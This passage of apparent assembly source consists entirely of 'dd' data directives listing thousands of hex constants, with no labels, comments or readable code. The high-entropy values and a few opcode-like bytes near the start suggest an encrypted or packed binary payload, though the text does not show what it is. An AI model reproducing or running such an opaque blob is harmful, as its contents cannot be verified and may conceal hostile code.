81AD3334h dd 6306037Ch, 74646441h, 59F3E205h, 0C29C35Dh, 24728B24h dd 8D1C7A8Bh, 40109B85h, 6A908A00h, 0E8FFFFFFh, 0FFFFFF6Bh dd 0DBEC69ECh, 0ABBD3A3Eh, 0FBF399A6h, 509BEBD9h, 500AFD05h dd 8C30EF95h, 0A36510E8h, 53E836F3h, 0FD69F506h, 8BA52ACh dd 1C6A5AFDh, 827886D1h, 0A17B3BC0h, 0F686583Ch, 3FB74339h dd 0C50200DEh, 141F837Dh, 0E8337221h, 0D36B119Dh, 0F1934302h dd 1C39E2Bh, 0EE7C9D19h, 25D32764h, 0E3C37681h, 31FF4A91h dd 0F15711A9h, 0C580DC2h, 19F753EEh, 0C4CA9AA5h, 0DBE2EBB6h dd 974428Dh, 808B0349h, 783A6935h, 2873FE1Ch, 0E977375Eh dd 871B66F1h, 0B6A3BF43h, 0F1C20E19h, 0CBE7298h, 43DE3B01h dd 0C73FCAC0h, 68AED360h, 2DE77254h, 735CEE72h, 0C4D0DA25h dd 58774F44h, 0F64283CDh, 55F456CBh, 949F03A1h, 7AF34946h dd 28665FE3h, 95D2A6B1h, 0E46F6E27h, 1D804972h, 8C97368Fh dd 843E0941h, 0F57F8A3Ch, 8C5C8101h, 0DC277269h, 0DAEF011Ah dd 0EC0C1925h, 50A3FE39h, 5EF4784h, 22396A1h, 0BE1F6AEBh dd 8C66C189h, 0F9C75277h, 781FE9F1h, 0B36FBA06h, 0E8433B54h dd 239C62EDh, 0A0ECB738h, 74528B55h, 0C5939E39h, 5C767E68h dd 0F9E75D1h, 0E4E3D947h, 9089D2F2h, 0E1EEC27Eh, 91FDB4h dd 9FF459F5h, 0F864F735h, 0EB1B1563h, 91DB2519h, 0FC3A0545h dd 0BB838E30h, 0CCD28229h, 0E2F2F2CEh, 0DE684A95h, 0E0D27469h dd 0DCA7F63Dh, 317BC679h, 9CDA65E5h, 5D232E90h, 10734D4Dh dd 0EACB1663h, 54F7BA35h, 4273BA09h, 0F0AF53DDh, 801A0CE6h dd 0A5EF3BEDh, 0E056F159h, 2497A204h, 206AB60Bh, 0DDA71F2Ah dd 0CDFB5EE9h, 75E7327Dh, 70BB04DAh, 0A7D6DA4Fh, 0E769C4F3h dd 0AC1D9E58h, 3FABDA1h, 0BD6397F6h, 67B3FE09h, 3C85BC99h dd 105D4EF1h, 0B0617AC5h, 0B84F02DDh, 0A503B792h, 0D526F601h dd 343FDD4Fh, 0B5DE57DAh, 0DC675891h, 58684A20h, 84CF18C0h dd 72FB53BAh, 2377C24Dh, 49AC65h, 0E49AE1B5h, 57F37EA3h dd 0F948132Dh, 50DBCEC6h, 0C980784h, 7BC8E99h, 4B1862ADh dd 0A0EB349Ah, 5E8B8FDEh, 386CDE69h, 58E23DFCh, 713BC6F8h dd 84261E18h, 981CD179h, 90300D4Dh, 0CB8BD620h, 54759278h dd 172A9DC9h, 398853ECh, 909B0F20h, 4DFE47C4h, 0C77CCE59h dd 8B58A2EDh, 0E02B771Ah, 0B4FEAC7Dh, 266E9369h, 0D7A7B217h dd 0C67BACDEh, 3F653Ch, 0B2208F3Ah, 0FB0E41CDh, 98A1160Bh dd 41D85FB8h, 34CABE49h, 714792DDh, 2FE52BB5h, 0F89C57Ah dd 788E0AD4h, 2A97E22Dh, 242C3BAAh, 58DBB87Eh, 33F1F5CFh dd 9C8DE6F6h, 70E50439h, 2E435125h, 72A725F9h, 0EC37EACDh dd 80615EA1h, 9AB57824h, 54260119h, 64879237h, 781B6272h dd 0E42F24C7h, 0B8699A12h, 88BDEEE6h, 62C1F62Bh, 5C7FA047h dd 853C0EBh, 0B67672D7h, 2504166Eh, 848F3025h, 0A726B766h dd 2D4A4602h, 0B5C696E1h, 0D45F7AB5h, 0A8F4BF30h, 8F28995Dh dd 50766794h, 0A96FFA15h, 0B850385Ch, 41F79DADh, 0E0F3D514h dd 0E1405855h, 48D3F7DDh, 1C67A415h, 9F54CAD1h, 947F2FCEh dd 0F195470Bh, 9D06721h, 35E7B777h, 445FEB90h, 0C1A3EB36h dd 398E52DDh, 909B0FE5h, 44C5AE15h, 0AD7C3173h, 0C1788A9h dd 9574B644h, 0B695DCAAh dd 5C58483Fh, 0B4F5F357h, 307BC600h, 610BFFB6h, 88441BDBh dd 0C5812BFFh, 0E5AC730Dh, 0C160BC35h, 2833979Dh, 0AA115656h dd 874D36E7h, 8EC3AF7Ah, 0BC400E19h, 0D968B53Dh, 202B9F85h dd 0F6558ABFh, 0E1AFCB56h, 0B45E323Dh, 0E7BB0650h, 48063B0Eh dd 0E734FADDh, 0AC1D8658h, 43FD65A1h, 0D4F5B6D0h, 3FE7FE49h dd 168F47E2h, 0D0DEA6B1h, 676926B1h, 56714A67h, 84F35692h dd 4AC1F62Bh, 1E7F5FEAh, 0C8D69EA9h, 34B4AEC9h, 0B0FB4247h dd 675ED356h, 0C426D709h, 59778227h, 5C8A17C9h, 841F6AA5h dd 0F9A56EDDh, 8394420Dh, 10B252A4h, 7DAF3F05h, 8CBC81ADh dd 49986A89h, 0A0AB1C1Dh, 8B4281BDh, 0DD6C8DD6h, 1C279B79h dd 34BA1E3Ah, 0C40F5B8Dh, 1C76D12Eh, 93B74264h, 0A252B4h dd 0EFC143F5h, 0E8338136h, 0E607529Dh, 0C18AEF42h, 65C7AB14h dd 0B383CA19h, 6607F329h, 0B2EFFDCDh, 0C29A1C56h, 683B1E3Dh dd 0D1580DC2h, 706F3A84h, 551EC8E5h, 50B691E9h, 2FF702A4h dd 0B0836A5h, 0CC7B2CAh, 286DBC09h, 0FC578CDDh, 0D01B67B1h dd 0A4EF3A85h, 78C30E59h, 1FC1B32Dh, 9FB23FEh, 0AD948A95h dd 0BDD3DA05h, 5F09D086h, 3DA440Dh, 29EE9440h, 7A2CCA9Ch dd 9854E7A7h, 0A5580AD2h, 0FD895E16h, 68C68A3Bh, 4EF3A171h dd 102FC792h, 965B09A9h, 0B86D2BF5h, 0EDB2502Eh, 9ED9335h dd 343EAF79h, 6936ECAAh, 0B56117C9h, 0D1B623FDh, 0EAA66A15h dd 1BA3AF5Eh, 5816A77Fh, 6F39C684h, 0A76C0FD6h, 0DAB03EC8h dd 19B37338h, 3FF68363h, 4C3BDF71h, 9C22EBABh, 0A96521ADh dd 0F48E42E0h, 15DA783Dh, 3AD0DE4Dh, 7913D398h, 9C54E985h dd 0B4633FCDh, 0F6B01C4Ah, 4C4722Ch, 58BA24Eh, 402BC38Dh dd 89560CA1h, 0D94052F9h, 0FCB26005h, 10DBBB20h, 4DE1A76Bh dd 4D24C799h, 944E31C1h, 0D19323D3h, 0EDA9773Ah, 28C2B53Dh dd 5517AF57h, 6122F3B1h, 0AC4629B9h, 0D9932DC0h, 0E98D730Dh dd 35D18F59h, 2832DB64h, 0B133F79Ah, 0BC6E02DEh, 0CA8E72E0h dd 39A6623Dh, 38F2A52Dh, 5418CF52h, 9D7BE7B0h, 0BC703BDBh dd 0DD9E4012h, 4DE4151h, 34E2BF71h, 7D0FC7BFh, 895AE383h dd 0A54C56E0h, 0F9BA7E01h, 1CD2AE39h, 7B879375h, 750DD294h dd 8B4609B7h, 0DD444EF7h, 0FEB27419h, 0EC49F32h, 343EB250h dd 5E27FBAEh, 0B1521ED2h, 0D6950FF4h, 0E5A2680Ah, 36CC874Dh dd 4030C24Ch, 6C2AF48Eh, 0BB7306F4h, 0C7BF3EEAh, 158B763Ch dd 22FA9453h, 696FFB7Ch, 9115FEB8h, 0AA5815C8h, 0C5875FC7h dd 11CF4555h, 24FA9847h, 6C06FF98h, 9755EFA1h, 0B4405AE4h dd 0EAB3401Ch, 1FD26122h, 32DBD652h, 673AC99Ah, 0AE014DBAh dd 0C87420F4h, 0FFA97671h, 17DC9F26h, 5DCDFC2Ah, 5E57D695h dd 0A64F17A4h, 0B49A26FCh, 0CEA77B3Ah, 1DC29E54h, 5909B265h dd 613BEF87h, 8B232FCAh, 0C5B136E8h, 0EF9B730Dh, 31EB845Ch dd 4D20BE7Bh, 902ED4A9h, 0BD7232D4h, 0C8BC3AE0h, 78B36B3Ch dd 2DFA8C78h, 4502E071h, 0B259C5A2h, 0C87632C0h, 0E8955B2Bh dd 31D76724h, 27E0B649h, 7111F9F9h, 8571E7B9h, 8E0B33CDh dd 0FEBB6B01h, 38C78D3Ch, 55F1BB6Fh, 753CC39Dh, 8F402EB6h dd 0F60320FCh, 0E9A56119h, 26CE8220h, 341AA67Ch, 7A10EAA7h dd 0B95313D8h, 0D39434C1h, 84BC6900h, 2AE09A77h, 4903A368h dd 6324E4B1h, 916C19D0h, 0DCBD3EF1h, 1DA2601Eh, 35C88345h dd 4B06CE66h, 8C0D8EB7h, 9A6703E0h, 0EF9C53E8h, 17DA5933h dd 26FCB75Dh, 5313FCFDh, 0A055E3A1h, 0A16C35D7h, 0F7B75D0Ah dd 6CD96726h, 30C4A26Fh, 710CC490h, 875A0AAAh, 0C84952F3h dd 0E4B45421h, 32DB9920h, 4DF7BC70h, 691ACE8Ch, 995919ACh dd 0E58B0495h, 0F1A17B1Ch, 28D48B6Eh, 5E32AB74h, 693DF583h dd 0B74A1AD8h, 0D8B942E3h, 0F4A26436h, 26F6BC50h, 4412CB7Dh dd 932AF790h, 821B1FC3h, 0CABA56F1h, 1CAC6D30h, 3EE3B148h dd 740CD868h, 8751CBBAh, 0BA670DC0h, 9C805C14h, 23FA5506h dd 30FDBB51h, 7B63DE8Ch, 8944EDA1h, 0AB6839D2h, 0F7DF5E10h dd 0DDD9026h, 5B87A67Eh, 7F33D294h, 9D4D0EB6h, 0DD6E2FF7h dd 0EFB2506Dh, 5D8F637h, 477FAE7Bh, 6D38FD86h, 0B26E72C9h dd 0DE8923E5h, 0E88C6E00h, 10C69D56h, 4013AC6Ch, 6E029684h dd 0BA6D0FC1h, 0CDB44AECh, 12A85129h, 24F8835Fh, 503CDE60h dd 0F826FAB8h, 0A9630CE4h, 0D48E58F3h, 1ADA7A1Ah, 26DADE68h dd 7215D789h, 8074F2B4h, 0B65A34C0h, 0D1E36F15h, 1ED27623h dd 12FFB34Fh, 523BCB90h, 0E85612A0h, 0FD5116DCh, 0A2E86F21h dd 28E3BE6Bh, 5FE69C19h, 7F38CEAEh, 994E3DA4h, 0D39A1895h dd 0E6B66E26h, 19DE9776h, 627B8769h, 711EFD80h, 8E5A1CDCh dd 0C9822EECh, 808A6E24h, 7F88F67h, 4925CA6Ch, 0B922E7B1h dd 531B27C9h, 6CC43F6Ch, 78C36608h, 1A0A2Dh, 2001B525h dd 0A46E8FBFh, 431634FAh, 486C62B1h, 30D15201h, 0BBDC8874h dd 5849E26Ch, 0E0F301CDh, 0EA5FC35Eh, 505C2A35h, 0E5E43D41h dd 7C928B98h, 40A495F1h, 0EA457AAFh, 91FFDB66h, 4C52222Dh dd 8FB8935h, 347F9417h, 8394A62h, 9C4DBE36h, 0A0FB46F9h dd 0D6CD7065h, 5ACBEE53h, 4677C253h, 5018C7E1h, 0FE5FFF4Ah dd 0F1AC3EC9h, 554387A2h, 0AF1EE671h, 0A9E4F171h, 0F8039BE9h dd 599A6E4Eh, 0A0AB2681h, 27E8DB56h, 0CD180CD6h, 1C2798CDh dd 0E8CD095Ch, 9CE75AA5h, 131CD186h, 2C9D36C8h, 3045B21h dd 0FC5FAAECh, 17CC818Eh, 963FD716h, 505E2631h, 0EB22F131h dd 3883D749h, 0F3A89005h, 0BFECFD3Eh, 0B4171F56h, 0D5D31E69h dd 46A51FBCh, 0F948C651h, 24131F68h, 8C726EF9h, 0FDA713DCh dd 385EE930h, 0D39FAA1Ch, 0BD8C9A0Dh, 0FC07BB59h, 0D01FA4ECh dd 0A4EFD2D0h, 0F99E0E59h, 0C8DD3C0h, 0AD94DC01h, 0B4267640h dd 5410EA9h, 0B6E7165Dh, 7C7F8551h, 60A1D43h, 0D563EEE3h dd 0A8B245EDh, 0E40B16BBh, 0C9DF0075h, 2B2948Ah, 0C3B42D1Ch dd 5A4A282h, 145BBA40h, 0B80345F1h, 0D707A96Dh, 0ED97A642h dd 7465AAA0h, 4E915E9h, 572772BCh, 0B0FA4E1Bh, 0AF371965h dd 93288EF2h, 581664FEh, 0F5A9D1E4h, 139CA85Eh, 7C786986h dd 2C0B990Eh, 1DB8C65h, 0DB90D057h, 0B869C24Ch, 0C0D3E1ADh dd 892BA30Ah, 0A3940A15h, 8F9434AAh, 0F467D8FAh, 0F36C0FD1h dd 629A3366h, 9DE36E53h, 5FBF0AC9h, 5A3B94E1h, 3EF93F7Ch dd 0AC47E89h, 16661010h, 71AEEF8Fh, 6447AF86h, 6583CE19h dd 16A54F6Ch, 7DA07681h, 0B4BF603Fh, 80F762EAh, 0E523FD3Dh dd 0B17BC611h, 44D9209h, 0DC4B3AB9h, 53F7428Ch, 0C0E2F6F4h dd 0D9636135h, 29779A8Dh, 961792DDh, 0D01F8EB1h, 0F6B93A85h dd 87940E0Dh, 0CBE3EB8h, 0ADA28501h, 0F43E8E42h, 0A2420FA9h dd 9D8D637Fh, 70BB0639h, 0D1708865h, 18238751h, 98C1075Bh dd 0A85F06FAh, 94DF2B71h, 4C07011Eh, 3C87D03Dh, 3AD3330Eh dd 61767A85h, 5B153A59h, 585C7279h, 31F9F62Bh, 0A1809C42h dd 813B4C1h, 0A9E7F7E4h, 25041041h, 848F33E1h, 0AE7B9B4h dd 7433A85Ah, 14F016Ch, 0E7B46AB5h, 0F1E35449h, 2C97B9AEh dd 0CBB661h, 0B190E855h, 0F803A769h, 0CE1FA62Ch, 0D4143681h dd 0E1400271h, 48D3F451h, 64F24DAEh, 0AD3BC6FBh, 440F5E67h dd 99962447h, 403A890Bh, 0A38B9634h, 14CA27ECh, 0EB333ED9h dd 6EF8044Ch, 18D4E6F5h, 64AFFABAh, 38734A16h, 32D7A2EDh dd 0A63B03FBh, 0BBFF7415h dd 88D3FFEDh, 7C99723Dh, 0B13D3764h, 4A06CADBh, 53011BFEh dd 0ADB18442h, 0D1053D2Eh, 2CEEA5Fh, 58E6415Ah, 0A547D2F7h dd 5514A78Ah, 0A4EF3A3Ah, 78C3BFB0h, 1CA9632Dh, 2F3DFF53h dd 0F43F2F50h, 0C0D5DDA9h, 93EA0ED1h, 70BB9FD5h, 31AFE625h dd 225F020Ah, 0ECBB07C2h, 0CDA656A1h, 0B4FF0A55h, 0DD4DF74h dd 90F8A769h, 6C2E86CDh, 0C4D00444h, 0CD773AF1h, 8FA9A31Ch dd 4F84CC31h, 73B9A260h, 395C9E16h, 0DC006207h, 0E219B191h dd 0AED38F9Ah, 9890EE79h, 7C27925Dh, 4B9F09h, 0A3702EB5h dd 0C99C52E7h, 0E9381239h, 50DBCCB1h, 121B7A80h, 7DCA47EAh dd 0CC574807h, 0A3EB5ED0h, 25EE8E55h, 0DD6C8E7Fh, 1C279879h dd 0EAD7135Ch, 0F75F5AE5h, 0C8B27AB0h, 93E6531Fh, 0A26EB4h dd 305B2DF5h, 0C1B7EB36h, 7FFF52DDh, 85C4ABF1h, 9DAEFA05h dd 1CDF45DAh, 0C574AE9h, 617676C1h, 0F4E3B378h, 7A6E9569h dd 0D7A7B210h, 70563CA4h, 8FB499E5h, 980E9834h, 2752B18Dh dd 0C0E6E4E4h, 0BA0A6135h, 2B73FE24h, 0BC6A7458h, 0B819EFB1h dd 0A4EF290Dh, 52DF9BA6h, 857CE26Dh, 560EF25Dh, 0A85AE9BCh dd 0BB6A36F9h, 0F0865114h, 1FD6631Ch, 778FA357h, 4AAC252Bh dd 6F655B3Bh, 80615540h, 0C688D376h, 0DD3EE623h, 3CC7CF2Ah dd 105BB148h, 0A92BF7C5h, 47FCB167h, 885A890Bh, 60ABF60Ch dd 0B9D4AC15h, 3AF89AAEh, 7741DE59h, 2576BD73h, 848F3787h dd 0AA5846Dh, 63F57F2h, 74C096A1h, 109C6291h, 0A733BB91h dd 7CC6B7D8h, 389B8C31h, 246FBB25h, 748E48Fh, 8C3D3238h dd 0ACB5BD81h, 0FDAF44DEh, 8BE38B4h, 0F6EA3BFDh, 713BC6FCh dd 3BFF5A46h, 0F2B07F76h, 93B1684Dh, 0A63494h, 0ECCA55F5h dd 0B8333EE0h, 91E5E762h, 5242631h, 64EFD3C1h, 0AB434B41h dd 0D0326E2h, 614D76C1h, 0C0A507AEh, 1D2C4D65h, 5CE7D81Dh dd 307A87F8h, 0CCF117E5h, 0D7236EB9h, 21E90C3Ah, 0E8D42715h dd 549FEB31h, 0F0E6415Eh, 0AA47D2F4h, 708E99E6h, 2FEF7AACh dd 0BBC0321Ah, 4FEFB2A6h, 193DD2h, 7927C05Eh, 65426D9Dh dd 0E466F17Eh, 15E86350h, 0A68AAE57h, 0B588F70Bh, 67138EE4h dd 0C35272D3h, 888DA186h, 26B74946h, 80C011Eh, 9BA8A573h dd 51A6728Bh, 0B8436377h, 39EC14E6h, 60EBDBA7h, 81544967h dd 813B30Fh, 0F1CDC786h, 33F446D1h, 7B30E514h, 0ED2A2E0Ah dd 2C37EFFFh, 2DBD1B68h, 844F6AF5h, 0C2A33DE3h, 7CC77A5Ch dd 0AFCC6631h, 647A9280h, 50D671D9h, 33172284h, 0E0FE1E0Ch dd 8B478955h, 0B7A85A26h, 99EE4D02h, 0F07BAB33h, 0C4655ACFh dd 0D1C7E2Fh, 6CF72859h, 6D7D53AAh, 0F49EAAB5h, 82632ECBh dd 4C92AD9Dh, 19DB6658h, 248200C0h, 52574519h, 3EA8F0EDh dd 29E8991h, 4BFF0AB8h, 0C8F912FCh, 0BE22793Dh, 0B97B863Ch dd 91B0BEE1h, 0D863473Dh, 27CB1106h, 0C0E6ECD4h, 4ECB6135h dd 38D353Dh, 0BC6A7448h, 2696EDB1h, 9EF7AA8h, 9A68CC72h dd 0BC126FD7h, 716BF61Dh, 0A56FD984h, 7086A1F8h, 0CCE77254h dd 593F93AEh, 614CDA65h, 2249948Ah, 8E56ECA8h, 0FA6F33CDh dd 0F1B75935h, 5A809225h, 50EBB633h, 106A8BDDh, 0B07C2396h dd 0FB5F03DCh, 0E9A55018h, 0FE8822Fh, 5B0DBE7Bh, 7C36CD85h dd 0AE4221E1h, 0D5982FE7h, 0EC9C4616h, 3CC69C58h, 4914A14Ch dd 5017E592h, 0B97E18D4h, 0DA964AECh, 15814E2Eh, 31EC8343h dd 4B3FD669h, 8120E7B5h, 0AD6331F1h, 0D28A52EFh, 1BCD5A31h dd 2DFFB74Fh, 6812F3A1h, 9949E9B9h, 856B3FDFh, 0F18F5E09h dd 5C3632Eh, 1CF8B84Eh, 602CC3B9h, 0AE7C2DC9h, 0EE4605C9h dd 0F9967A34h, 17C08826h, 64F7A876h, 6839CBBAh, 0BC5801AEh dd 0C68D3FD6h, 0DEA7700Ch, 35D48058h, 7527A87Eh, 6B23EA9Dh dd 0D8510BCBh, 0CB8523D9h, 0EF836204h, 569F9E46h, 2823BE09h dd 8C4792DDh, 0B96309C3h, 0D08114E8h, 14AD7C32h, 25B9835Dh dd 2004D06Fh, 0BF7CC39Bh, 0BC7E2989h, 0F28A4317h, 23EE0C26h dd 28AF8860h, 562AE1B3h, 8541A4EDh, 0F37E22D3h, 94377F7Fh dd 35B3FE49h, 1CE53F9Ch, 959DA6B1h, 0E46F6FDAh, 5C96B199h dd 4DD76244h, 5CDFE9A9h, 81F4D47Fh, 813B771h, 0F21BDEE4h dd 319D6CE4h, 0F1D2E55Bh, 0F81E631Ah, 0A7778227h, 0A51C9497h dd 5192CFD3h, 0A8B31645h, 543597D2h, 0D961E671h, 6AE34043h dd 0F9F27527h, 90FCAD4Fh, 0B5B2B30Ch, 1EEF0A15h, 0B79DB429h dd 5C4E4E68h, 0D44705D1h, 807A5EADh, 98E32691h, 2FF1514Dh dd 0CC7920Fh, 0C0CA55F5h, 0E3333EE0h, 2F15265Dh, 6F88241Bh dd 24866AD0h, 0AB533119h, 0F3AED105h, 0E0209E3Eh, 0F2AC4A95h dd 0DB9C412Ah, 10EBB613h, 0E4EE3911h, 0EC4FDACCh, 27DC97E1h dd 0ACF74965h, 0C5984361h, 7AADD967h, 283FF24Dh, 0D5B30722h dd 0DAF366F1h, 0D3EF3A85h, 11B17E2Ah, 0DF19643h, 0B594E601h dd 0F47FA345h, 0E18FDB20h, 0ADE8323Dh, 68588BDCh, 0C106DA65h dd 1823845Fh, 18A27D9Ch, 530B1688h, 94DF2E1Dh, 98067349h dd 65879205h, 3AD71B7Ch, 26C77A85h, 0DEFCB16Ah, 0ACF7A7AAh dd 30ABF601h, 145D6F96h, 85539EA9h, 9C389228h, 0DAAF1691h dd 0D6CF7064h, 58A3EC51h, 0BCE23D8Dh, 854BD6CBh, 0F66A3075h dd 88E0B304h, 1695121Dh, 702E6B37h, 706FFA25h, 0A913DE8Fh dd 58829DFFh, 0F8EB76ABh, 5E339FAAh, 0CD55DE69h, 1C279E50h dd 30F6ED1h, 49F0A55Ah, 98A33C35h, 784B878Ah, 14DDD661h dd 0BB799AAh, 2FCC813Ah, 0FC13AE18h, 0CF8F7071h, 97BF1271h dd 0BD4431E6h, 0C17B611h, 0D4740E97h, 4B0C4B7Dh, 7456D996h dd 0AA7B229h, 32FB074h, 0FACA172Ch, 89232E94h, 0FCA613DCh dd 7F9A4730h, 14B606A0h, 0CCE64109h, 3D47D2F4h, 0A46E7959h dd 0A4EF366Dh, 348B5D59h, 5C7A37Ah, 6C27F22Fh, 0AA75D5h dd 20131E80h, 9CE73271h, 15E84E02h, 28EE8C51h, 1822CB8Ch dd 7CA27D9Dh, 530B1688h, 0BE719FF8h, 0A0DBFE09h, 6A87D21Dh dd 85A4A69Bh, 0E46F5315h, 0A74DDB14h, 315A222Dh, 60EBDD37h dd 0CB289843h, 487A027Ch, 0D0E3F1BDh, 0AF90D31Ch, 0D39F1A25h dd 0AF5EF53h, 2C77C065h, 0E8986961h, 2BE0901Ah, 0BC11830Ah dd 8C7121Dh, 43138E3Ah, 0B190BA05h, 0F803A4C5h, 0CC176E45h dd 0EFB86181h, 468C4116h, 4DF9A07h, 0E8F24DFDh, 633BC6F8h dd 0C40F5DCDh, 0DF56A379h, 35B74255h, 6AD76BACh, 46B7AAB5h dd 0CC813Bh, 0BC075291h, 0D9956F26h, 4AFBBF0Bh, 38CF825Dh dd 25A33712h, 20AE7681h, 0B6CACE9Ah, 0E0401E69h, 5CA7F238h dd 28FE739Ch, 89169AA5h, 98091604h, 5EECAA8Dh, 3D48E99Eh dd 54DFC049h, 38F7B109h, 7D4792DFh, 0D01AF65Dh, 0A5876E85h dd 87C30E58h, 0CBDBEB8h, 0B0AF3701h, 0A43F8AD4h, 0C8798A22h dd 0E072CD2Fh, 0F5BB467Bh, 49FA83E5h, 18702691h, 0F0A27DCDh dd 2B0B168Bh, 0B662A997h, 68B3BE69h, 0B90AFB68h, 101B86D7h dd 8CBA8595h, 3D030EB3h, 5532DADh, 0EBABF640h, 34F4C655h dd 8DDCAE16h, 0DC67529Fh, 9C56C357h, 0EECE1A25h, 32A28439h dd 58E23D0Fh, 834BD6CBh, 5010954Dh, 0A8F33FE9h, 62529FCEh dd 3A9BA611h, 0DB3CE815h, 0B869EA4Ch, 0C3D7E7ADh, 0A0EA7604h dd 34028755h, 0F9939E09h, 0EB645AF5h, 6453792Eh, 9A0F5AA5h dd 0AC6AC852h, 0F9485669h, 40CBFFC9h, 34111778h, 0E9827E89h dd 43F1B675h, 0AB4EAB8Eh, 0EAFBA65h, 3897A619h, 5F05A2EDh dd 0CA5BE33Eh, 0F0724AD5h dd 1D5E0A4Dh, 5CE7DFC3h, 3ACDC941h, 106BDE6Eh, 0DA2B8E78h dd 0E6E543C7h, 83810463h, 5CBBAE3Eh, 0E97C5F89h, 0F7169A3Dh dd 2F0B42F5h, 19626AB7h, 788324F7h, 4C97FEC5h, 16459301h dd 0D411AAADh, 0ED297E87h, 0A4C91758h, 50C32329h, 0E85A900h dd 382DE7B6h, 79C8D5CDh, 0C04B7F3Dh, 9473EEF4h, 68D9FE49h dd 0C3D4854Dh, 5071D664h, 6A2F1C5h, 0D2030E8Dh, 0E7CCC16Dh dd 88FAFB88h, 347FCA10h, 237BBCFh, 49D825BDh, 0B0BB6F0Dh dd 0D4C3DEE6h, 50CBE5D2h, 0A177C20Dh, 406BC25Ch, 2B4C3DB5h dd 0E8D94E1Ch, 207975Dh, 0FE2E6B65h, 0A76FFA2Fh, 0B8576C7Ch dd 419A62ADh, 0A0AB1A2Ch, 74D5C47Eh, 0B7C08878h, 5C4DDE68h dd 0F0C305D1h, 4F9E75DBh, 3656A387h, 0DCB74267h, 3525242Ch dd 0F8B7CAE5h, 89CC813Fh, 0B5E445EFh, 7BDA51FCh, 4F6071AFh dd 963E43D7h, 0FF57E2C7h, 0BDCF165h, 2100192Ch, 88933409h dd 49B84FBDh, 447AC651h, 717FF2CFh, 4DDC6EB9h, 0ACB76891h dd 0AC66ABE1h, 209FEA75h, 0AF67918h, 0FC47D2FDh, 161B66B1h dd 0E4C39700h, 702A0E59h, 11681DD3h, 0AD6BB2C3h, 0B4132460h dd 5DEC08A9h, 9CA71BB9h, 7F44FED2h, 448F61A1h, 0AAE627F9h dd 8637C2E0h, 55F400A1h, 949F0065h, 0ECBC3ECCh, 3C87D2B9h dd 400B66DAh, 8E7F79AFh, 0B8032698h, 7381E26Dh, 20825ED4h dd 0CB874915h, 0B551AE6h, 59AE72BDh, 0B0BB6B27h, 0A97597E8h dd 0CD2EEE79h, 2C37EFCFh, 21C4B0h, 188A95E5h, 2BF37EA0h dd 0F8C8EDA5h, 509BE4E5h, 9190BA6Fh, 0F803A36Fh, 0E5DFF752h dd 586836C1h, 0C93B05AAh, 0C193DE2Bh, 5C4A7878h, 0F3F2B5D1h dd 955F0B66h, 67B22A13h, 2C9AB4F8h, 0EC1E2921h, 915FEADCh dd 71B77109h, 8F07529Fh, 5E5EAFB8h, 35AFBA68h, 27EB9F48h dd 5C57ADEDh, 0C9D3E33Eh, 747A4AD5h, 8A819A66h, 0D92EF23Dh dd 303BEBC3h, 3C041126h, 0D87D6F01h, 0AF25718Dh, 773AE1A0h dd 8A1A63D4h, 0A373FE24h, 7FFFAE96h, 0E31B66A8h, 532E3957h dd 0F122F9A8h, 0CBA34A8h, 97647501h, 17C68C9Eh, 0D040D39Fh dd 88A48572h, 1BF2D652h, 948CF2E4h, 6F3C9478h, 98CEECA4h dd 0BA881FBFh, 4BAD2B79h, 0E38FB5C2h, 7E84C65Fh, 581F2BE1h dd 0C7F68D3Ah, 72867558h, 4FD76240h, 44EF7D18h, 8CF74319h dd 3B539EE9h, 13ACB17Dh, 0D764D7Ah, 848F36CBh, 6B7C65C5h dd 4D4B6EC4h, 7A779093h, 0F43368C2h, 0DCAF0223h, 8E92EB1h dd 259BDAECh, 0AFA759EDh, 0A006B3D8h, 0C76362E8h, 0F2A865BCh dd 3D3A0555h, 0C36C21D6h, 55308FFEh, 7434C59Fh, 3BF0A599h dd 0CDA07944h, 5D330D03h, 7D7429DEh, 266CE9A2h, 1715FAC6h dd 0EC3AAD62h, 9F947222h, 9B50E1C1h, 0D058FDE6h, 0F3A85CAEh dd 1F25F2CEh, 66CCB56Ah, 88D30881h, 0A3C91A3Dh, 309339EEh dd 594F9AE5h, 0FF2D8338h, 0B71E42CDh, 0E4CB1660h, 0E114D8CAh dd 283393DBh, 9A651BB9h, 8A565830h, 0A5EBBF8Ah, 26480E59h dd 2A49E111h, 653B8D80h, 0F4CB0FDAh, 8BE45EA9h, 9CC7326Bh dd 973E0951h, 0B28FDA25h, 1761F2BAh, 0EC375F49h, 0E075D7A1h dd 0B4FF0A55h, 68637A46h, 0F36FD21Dh, 1FA4590Fh, 0E42FBF47h dd 0B041C599h, 0A7C768E6h, 53AF8580h, 377A21D5h, 18191721h dd 0F1FDF734h, 0CE1346D1h, 6C30E59Bh, 58A3EE92h, 1A15F86h dd 9D4896A1h, 0D45F476Fh, 570EA861h, 0F7431DA2h, 0DB9BE631h dd 644268B0h, 0C41D05D9h, 0B3FFBCAEh, 0D214C97Fh, 50F58B2Ch dd 0A893DE49h, 1F314C76h, 45B692ABh, 0C44F4AA5h, 21F3547Ah dd 6CB7042Ch, 0F12E2576h, 0E75D49F5h, 0BA6D216Dh, 31956392h dd 90DBBDF6h, 0E3F7245h, 0D07C31E6h, 0F3A84AE2h, 0EC61FD9Bh dd 39EF0096h, 0CBF81B28h, 7DE07B15h, 105B80D6h, 8D6FBAC5h dd 92A846F2h, 7A72C99Dh, 0B9CB564Ch, 57ECE27Fh, 297BF480h dd 9FC4829Fh, 559066E9h, 0A4AF175Bh, 79CB4C58h, 9EA4B26Eh dd 44493D65h, 7767885Ah, 883EE814h, 18E8327Dh, 8F44FB91h dd 695D6FDAh, 8D9CAEB9h, 0EC77A8EDh, 0EDC5E35Eh, 1202A35h dd 68F3D7CDh, 113D5F90h, 85D6A6B1h, 0E46F5707h, 0B8691CC8h dd 0A1619792h, 0F554F601h, 343FE00Dh, 25E52B16h, 49D872FDh dd 0B0BB6F15h, 0A861AFE8h, 0ED5CEE79h, 2C37EFBFh, 10DE69B7h dd 571F2A9Fh, 0E8DE882Ch, 9404125Dh, 509BE631h, 0A56ED058h dd 0B86B2534h, 0C3E73AADh, 0B5C3B340h, 0B43A0A15h, 0B75B5DEAh dd 99A6BD0Dh, 0F07B93F9h, 0C41F6766h, 84962E53h, 48CB832Bh dd 35FABA2Dh, 0D0B7CAE6h, 9DCC8136h, 41A7BA98h, 4233D98Eh dd 55005BAh, 40AE3137h, 0B44596BBh, 0E02B76E4h, 4B5AA2F5h dd 0B1A6E196h, 6C83B6B6h, 1CD5739Ch, 54C49AA5h, 0E2A208B1h dd 8984408Bh, 80CB7E37h, 9014EACAh, 7821BE63h, 0D61F0722h dd 149866F1h, 0F8D1BB8Dh, 0D9F3166h, 